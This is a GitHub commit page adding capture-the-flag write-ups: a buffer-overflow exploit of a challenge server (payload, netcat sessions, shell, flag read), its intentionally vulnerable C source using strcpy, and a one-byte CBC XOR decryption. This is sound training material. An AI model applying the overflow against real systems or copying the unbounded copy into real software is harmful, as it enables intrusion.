Skip to content

Commit

Permalink
add some more writeups
Browse files Browse the repository at this point in the history
  • Loading branch information
shombo committed Dec 2, 2018
1 parent 3a2bd68 commit 952ada3
Show file tree
Hide file tree
Showing 3 changed files with 269 additions and 0 deletions.
154 changes: 154 additions & 0 deletions arturo_brachetti/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,154 @@
# Arturo Brachetti - Points: 50

### Description:

Connect to server with nc challenge.acictf.com 13996. Exploit the service. Read the contents of flag.txt on the server. You can find the source code [here](src/arturo.c)

### Hints

- Have you heard of buffer overflows?
- Change the value of win to get a shell

### Solution

Let's just hit this thing with a bunch of `A`s and see what happens.

shombo$ python -c "print 'A' * 512" | nc challenge.acictf.com 13996
You need to set win to 48337977
Enter your string: 0xffe6b8fc: 08048705 (esp)
0xffe6b8f8: ffe6b958
0xffe6b8fc: 08048705
0xffe6b900: ffe6b910
0xffe6b904: 00000017
0xffe6b908: ffe6b960
0xffe6b90c: f75f96bd
0xffe6b910: 41414141
0xffe6b914: 41414141
0xffe6b918: 41414141
0xffe6b91c: 41414141
0xffe6b920: 41414141
0xffe6b924: 41414141
0xffe6b928: 41414141
0xffe6b92c: 41414141
0xffe6b930: 41414141
0xffe6b934: 41414141
0xffe6b938: 41414141
0xffe6b93c: 41414141
0xffe6b940: 41414141
0xffe6b944: 41414141
0xffe6b948: 41414141
0xffe6b94c: 41414141
0xffe6b950: 41414141
0xffe6b954: 41414141
0xffe6b958: 41414141
0xffe6b95c: 41414141 (ebp)
0xffe6b960: 41414141 (ret)
0xffe6b964: 41414141 (win)
win value (hex) = 41414141
Sorry, you lose.

Alrighty... Now lets use some good ole binary search to derive the size of padding we need to send (we could look at the source, but why would we? This literally takes a second).

shombo$ python -c "print 'A' * 80" | nc challenge.acictf.com 13996
You need to set win to 48337977
Enter your string: 0xffbf150c: 08048705 (esp)
0xffbf1508: ffbf1568
0xffbf150c: 08048705
0xffbf1510: ffbf1520
0xffbf1514: 00000017
0xffbf1518: ffbf1570
0xffbf151c: f75b86bd
0xffbf1520: 41414141
0xffbf1524: 41414141
0xffbf1528: 41414141
0xffbf152c: 41414141
0xffbf1530: 41414141
0xffbf1534: 41414141
0xffbf1538: 41414141
0xffbf153c: 41414141
0xffbf1540: 41414141
0xffbf1544: 41414141
0xffbf1548: 41414141
0xffbf154c: 41414141
0xffbf1550: 41414141
0xffbf1554: 41414141
0xffbf1558: 41414141
0xffbf155c: 41414141
0xffbf1560: 41414141
0xffbf1564: 41414141
0xffbf1568: 41414141
0xffbf156c: 41414141 (ebp)
0xffbf1570: 41414141 (ret)
0xffbf1574: 00000000 (win)
win value (hex) = 0
Sorry, you lose.

Right on.. now we just have to get `win` to have the value of `48337977`. I'm just going to assume that is hex, and go ahead and decode it since it appears to be in the ascii range (this will make sending the payload easier):

>>> '48337977'.decode('hex')
'H3yw'


shombo$ python -c "print 'A' * 80 + 'H3yw"[::-1] | nc challenge.acictf.com 13996
You need to set win to 48337977
Enter your string: 0xffbf150c: 08048705 (esp)
0xffbf1508: ffbf1568
0xffbf150c: 08048705
0xffbf1510: ffbf1520
0xffbf1514: 00000017
0xffbf1518: ffbf1570
0xffbf151c: f75b86bd
0xffbf1520: 41414141
0xffbf1524: 41414141
0xffbf1528: 41414141
0xffbf152c: 41414141
0xffbf1530: 41414141
0xffbf1534: 41414141
0xffbf1538: 41414141
0xffbf153c: 41414141
0xffbf1540: 41414141
0xffbf1544: 41414141
0xffbf1548: 41414141
0xffbf154c: 41414141
0xffbf1550: 41414141
0xffbf1554: 41414141
0xffbf1558: 41414141
0xffbf155c: 41414141
0xffbf1560: 41414141
0xffbf1564: 41414141
0xffbf1568: 41414141
0xffbf156c: 41414141 (ebp)
0xffbf1570: 41414141 (ret)
0xffbf1574: 00000000 (win)
win value (hex) = 0
Sorry, you lose.

Great. Don't forget to take endianness into account.

shombo$ python -c "print 'A' * 80 + 'H3yw'[::-1] "| nc challenge.acictf.com 13996
You need to set win to 48337977
Enter your string:
shombo$

Hey! What gives! Where's my shell!

Well, when you send the string like this, you also send an implicit EOF that will close your shell and therefore your socket which is why you see it just die.

So, instead, let's just send the payload interactively:

shombo$ nc challenge.acictf.com 13996
You need to set win to 48337977
Enter your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwy3H
ls
arturo
flag.txt
xinet_startup.sh
cat flag.txt
ACI{remote_code_execution_is_best_execution_26f12d80}
exit

And there it is.


### Flag: `ACI{remote_code_execution_is_best_execution_26f12d80}`

36 changes: 36 additions & 0 deletions arturo_brachetti/src/arturo.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

void vuln(int win, char *str) {
char buf[64];
strcpy(buf, str);
dump_stack((void **) buf, 23, (void **) &win);
printf("win value (hex) = %x\n", win);
if (win == 1211332983) {
execl("/bin/sh", "sh", NULL);
} else {
printf("Sorry, you lose.\n");
}
exit(0);
}

int main(int argc, char **argv) {

char guess[100] = { 0 };
int buffer_size = 1211332983;
printf("You need to set win to %X\n", buffer_size);
printf("Enter your string: ");
fflush(stdout);
fgets(guess,100,stdin);
int len = strlen(guess);
guess[len-1] = 0;

uid_t euid = geteuid();
setresuid(euid, euid, euid);
vuln(0, guess);
return 0;
}
79 changes: 79 additions & 0 deletions ascii_salad/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
# Byte Sized CBC - Points: 50

### Description:

Break the CBC 'encryption' scheme running at challenge.acictf.com:1751. The author is so confident that they will just hand you the key upon connection.

### Hints

- Cipher Block Chaining ties the output of each block's 'encryption' to the next block.
- How many different IVs could there be if a block is only one byte long?
- What if the 'block cipher' [link](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#/media/File:CBC_encryption.svg) doesn't do anything?

### Solution

There are lots of good diagrams of CBC mode out there. Generally, this is a mode of a particular encryption scheme. Generally, this type of encryption must be a multiple of a specified `block size` (if the message isn't, it will be padded with junk data so that it is). Then, for each `block`, the result of the previous encryption block will be XORed with the plain text block prior to that XORed chunk being put through some encrpytion scheme (this step usually takes in some key). Once that step is complete, you now have an encrypted block and serves as part of the encrypted outpput and an input to the next next round. On the very first round, there obviously has not been a previous round so, therefore, you don't have that special value to XOR your plain text with prior to the encryption step. Instead of using the output from the previous step, you just give it a special number instead knows as the `initialization vector`.

If this sounds complicated, just google a picture.

But since you need an `initialization vector` to kick eveything off, and every next round is a product of the previous round, the `initialization vector`, or `iv`, is pretty crucial in being able to recover an encrypted message.

Luckily, in this particular challenge, we are only dealing with a block size of a single byte. Also, since no encryption scheme was specified, and I'm too lazy to try to guess one. so I am going to assume that they jsut didn't use one.

What does this mean?

This means that the first letter of the flag was XORed with some IV. Then, the resulting character was emitted, but also used as the key for the next round.

Assuming this is true, it should be somewhat trivial to recover what the `key` for each round was since XOR is an invertable operation. (A ^ B = C, A ^ C == B)

Finally firing up the challenge:

shombo$ nc challenge.acictf.com 1751
Welcome to the Byte Sized CBC Challenge!
Your Encrypted Flag (in Base64): rO+m3b6I7N3t3O6L6tO1hbDTsNHp3+yIvd7ujezfvsPJ

An important note here is that the data is given in base64. That simply means that the raw bytes you ought to be dealing with have been encoded into a format that transmitter easier.


shombo$ python
Python 2.7.15 (default, Jun 17 2018, 12:46:58)
[GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> base64.b64decode('rO+m3b6I7N3t3O6L6tO1hbDTsNHp3+yIvd7ujezfvsPJ')
'\xac\xef\xa6\xdd\xbe\x88\xec\xdd\xed\xdc\xee\x8b\xea\xd3\xb5\x85\xb0\xd3\xb0\xd1\xe9\xdf\xec\x88\xbd\xde\xee\x8d\xec\xdf\xbe\xc3\xc9'


At this point, it is really important to understand that we need to _reverse_ this encrypted message -- we won't be able to generate it in the forward direction easily. I suppose we could brute force every byte, but that sounds hard. Let's do it the easy way... *backwards*!

Why do it backwards?

Well, we know what the result of a given round is... its whatever the byte at the position is. We also know what it was XORed with -- it was whatever the preceding byte is. If we XOR those two things together, we should the third piece of the equation remainging -- the plaintext.We only don't know what the very first byte was XORed with, but we also don't care since we're 98% sure it was an `A`.

Let's put this theory to the test.

The last encrypted character is `\xc9` and the previous character is `\xc3`.

>>> chr(0xc3 ^ 0xc9)
'\n'

Hmm.. ok..

Let's keep going.. the next encrypted character back is `\xbe`. So, let's XOR that with the current encrypted char (`\xc3`):

>>> chr(0xbe ^ 0xc3)
'}'

Oh boy.. that looks like the end of the flag!

Let's script it up and see what we get...

>>> flag = base64.b64decode('rO+m3b6I7N3t3O6L6tO1hbDTsNHp3+yIvd7ujezfvsPJ')
>>> print ''.join([chr(ord(flag[x]) ^ ord(flag[x-1])) for x in range(len(flag)-1,0,-1)])[::-1]
CI{c6d1012ea9f05cca863d5c0ca3a}

We skipped the first letter since we didn't know what to XOR it with, but it pretty clearly looks like its supposed to be an `A`.


### Flag: `ACI{c6d1012ea9f05cca863d5c0ca3a}`

0 comments on commit 952ada3

Please sign in to comment.